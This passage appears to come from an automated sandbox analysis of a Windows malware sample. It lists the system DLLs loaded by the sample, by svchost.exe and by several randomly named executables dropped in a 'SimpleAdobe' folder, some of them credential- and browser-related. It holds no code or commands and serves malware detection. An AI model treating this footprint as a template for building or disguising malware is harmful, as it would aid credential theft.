Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msidle.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhcfg.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: httpprxp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wpdbusenum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceconnectapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: dxgidebug.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: riched20.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: usp10.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: msls31.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: policymanager.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: pcacli.dll
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: mozglue.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: wsock32.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Section loaded: wldp.dll
